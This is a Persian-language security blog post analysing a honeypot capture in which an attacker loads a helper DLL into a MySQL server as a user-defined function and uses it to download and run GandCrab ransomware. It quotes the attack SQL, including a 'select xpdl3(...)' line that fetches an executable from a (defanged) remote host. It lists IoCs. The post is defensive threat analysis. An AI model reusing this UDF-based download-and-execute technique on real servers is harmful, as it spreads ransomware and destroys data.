بلاگ آزمایشگاه امنیت وایت لب بلاگ آزمایشگاه امنیت وایت لب

حمله مستقیم روی MySql سرور‌ها برای انتشار بدافزار

| زمان مطالعه : 6 دقیقه
حمله مستقیم روی MySql سرور‌ها برای انتشار بدافزار

کسی (کسانی) در حال حمله به پایگاه‌های داده‌ای ویندوزی قابل دسترس روی اینترنت با استفاده از بدافزار GandCrab هست (هستند).

gandcrab ransom note crop

ما با اجرای یک honeypot در محیط آزمایشگاهی، در حال نظارت بر portهای پیشفرض پایگاه داده SQL بودیم (3306/tcp(. در همین حین با یک حمله جالب از ماشین‌هایی از ایالت متحده آمریکا مواجه شدیم.

ما همزمان شروع به پایش (monitor) رفتار و ترافیک شبکه‌ای ایجاد شده توسط honeypot کردیم. ما با دیدن دانلود شدن یک فایل ویندوزی قابل اجرا توسط honeypot که روی یک سیستم گنو/لینوکسی در حال کار بود شکه شدیم.

حمله کننده با استفاده از دستورات پایگاه داده ابتدا یک helper DDL کوچک را بارگیری کرد. در نهایت با استفاده از فراخوانی آن به عنوان یک تابع پایگاه داده، توانست برنامه (payload) بدافزار GrandCrab را که روی یک سرور به آدرس کانادا میزبانی می‌شد، دریافت کند.

The “database server” downloading GandCrab

هیچ آسیبی به honeypot نرسید ولی احساس کردیم که ذات این حمله ارزش یک پست و مقاله را دارد.

توضیح حمله SQL

مرحله اول از حمله مربوط به اتصال حمله کننده به پایگاه داده و ایجاد یک خط ارتباطی ثابت روی پایگاه داده MySql بود. در آزمایشگاه ما honeypot یک سرور MySql شبیه سازی کرده بود. ادامه حمله نسبتا ساده و راحت بود.

The SQL commands issued by the attacker

در ادامه، حمله کننده با استفاده از دستور set اقدام به بارگذاری (Upload) تمامی بایت‌های مربوط به helper DLL کرد. رشته طولانی‌ای که در تصویر زیر قابل مشاهده است، در یک متغیر داخل حافظه قرار می‌گیرد.

The helper DLL is input into the database like a really long entry

در نهایت حمله کننده اقدام به نوشتن محتوای موجود در متغیر، روی جدولی از پایگاه داده که قبلا ایجاد نموده بود به نام yongger2 کرد.

حمله کننده با استفاده از دستوراتی روی سرور باعث شد تا بایت‌های موجود به یک دیگر متصل شده و در داخل یک پرونده (file) ذخیره شوند و این فایل را در پوشه پلاگین‌ها ذخیره نمود. همچنین در این حین ما در حال نظارت بر آن بودیم. متوجه شدیم که چندین / و \ به منظور گذر از ابزار‌های امنیتی استفاده شده است.

Helper DLL’s internal functions

به نظر می‌رسید که DLL سه تابع به پایگاه داده به نام‌های xpdl3، xpdl3_deinit و xpdl3_init اضافه می‌نماید. همچنین مشاهده شد که یک پرونده شامل تعداد زیادی از جعبه ابزار‌های (toolkits) آلوده است که قبلا بارگذاری شده است.

The helper DLL is included in a number of archives containing malicious toolkits that have been uploaded to VirusTotal

حمله کننده در این فاز اقدام به drop کردن جدول yonggger2 کرد و همچنین در راستای حذف recordهای مسیر فایل‌های روی سرور و همچنین حذف تابع xpdl3 اقدام به ارسال دستورات جدید کرد. در ادامه دستور زیر را برای ایجاد تابع پایگاه داده کرد که پرونده DLL را حذف نماید.


CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll'

پس از بارگذاری کامل helper DLL در پایگاه داده و در نهایت پوشه plugin و راه اندازی اولیه آن، اقدام به حذف تابع xpdl3 که به تازگی ایجاد شده بود کرد.


select xpdl3('hxxp://172.96.14.134:5471/3306-1[.]exe','c:\\isetup.exe')

[نکته: لینک بالا به دلیل عدم کلیک شدن تغییر یافته است. مقدار صحیح در تصویر زیر مشخص است.[

The sequence of network events as shown in Wireshark

اگر همه چیز به درستی کار کند )که در این محیط درست بود)، سرور پایگاه داده اقدام به بارگیری (download) بدافزار GrandCrab از ماشین راه دور می‌نماید و آن را در شاخه اصلی C: با نام isetup.txt می‌نماید و آن را اجرا می‌کند.

این حمله چقدر شایع است؟

حملات مربوط به پایگاه داده چیز جدیدی نیست. مقاله‌هایی قبلا در این زمینه نوشته شده است. پیوند مقاله

حمله‌ای که شرح داده شد تنها در عرض چند ثانیه در شنبه ۱۹ می اتفاق افتاد. اگر این حمله روی یک پایگاه داده واقعی اتفاق می‌افتاد، پایگاه داده رمز شده بود و از صاحب آن به مشکل خورده بود.

The open directory is hosted using HFS, with a Chinese user interface

اما نشانی اینترنتی که پرونده مخرب از آن گرفته می‌شود می‌بایست بررسی شود. این آدرس به یک پوشه باز روی یک سرور وب در حال اجرا بود که به آن HFS می‌گویند که بر وب سرور آن بر پایه ویندوز است که به صورت یک برنامه تنها است.

نکته جالبی که درباره آدرس IP که پرونده مخرب را ارائه می‌دهد این است که از لحاظ موقعیت مکانی در آریزنا (Arizona) است. در منطقه کویر جنوب غربی ایالات متحده آمریکا و کاربری که آن را استفاده کرده است به زبان چینی از آن استفاده می‌کند.

نکته جالب دیگری که درباره آن وجود دارد، میزان نمایش تعداد بارگیری هر پرونده در آن صفحه است.

در این صفحه ۵ پرونده قابل اجرا روی ویندوز مشاهده می‌شود که نام آن‌ها با 3306- شروع می‌شود. در واقع تمام آن‌هایی که با یک - در ادامه دارند بازنویسی شده همان پرونده اصلی هستند. تنها پرونده 3306.exe از دیگر پرونده‌ها متفاوت است.

استفاده از نام 3306 برای نام پرونده‌ها احتمالا تصادفی نیست.

در پوشه نمایش داده شده، یک پرونده elf که پرونده اجرایی روی گنو/لینوکس است وجود دارد که در این حمله مورد استفاده قرار نگرفته است.

The “RDP” file is one of many, many examples of related DDoS capable Linux Trojans (screen: Virustotal)

به نظر می‌رسد سرور نشان دهنده بارگیری بیش از ۵۰۰ مرتبه‌ای از نمونه‌ای است که MySql روی honeypot
بارگیری کرد (پرونده 3306-1.exe).

هرچند پرونده‌هایی با نام‌های 3306-2.exe، 3306-3.exe و 3306-4.exe پرونده‌های یکسانی هستند. با جمع زدن تعداد بارگیری‌ها چیزی در حدود ۸۰۰ مرتبه بارگیری انجام شده در تنها پنج روز از زمانی که در این سرور قرار داده شده‌اند، اتفاق افتاده است. همچنین چیزی در حدود ۲۳۰۰ مرتبه بارگیری از دیگر پرونده شامل GandCrab چیزی در حدود یک هفته است.

لذا با توجه به این آمار می‌توان نتیجه گرفت این یک حمله گسترده و خاص نیست لذا یک ریسک جدی برای مدیران پایگاه داده‌های MySqlای که از طریق دیوار آتشین دسترسی به خارج دارند، نیست.


IoCs
GandCrab samples

c83bf900eb759e5de5c8b0697a101ce81573874a440ac07ae4ecbc56c4f69331

017b236bf38a1cf9a52fc0bdee2d5f23f038b00f9811c8a58b8b66b1c756b8d6
“cna12.dll” helper

1f86561ca8ff302df2a64e6d12ff530bb461f9a93cf9b7c074699e834f59ef44
Hosts

172.96.14.134:5471 (GandCrab host)

148.72.171.83 (MySQL attacker)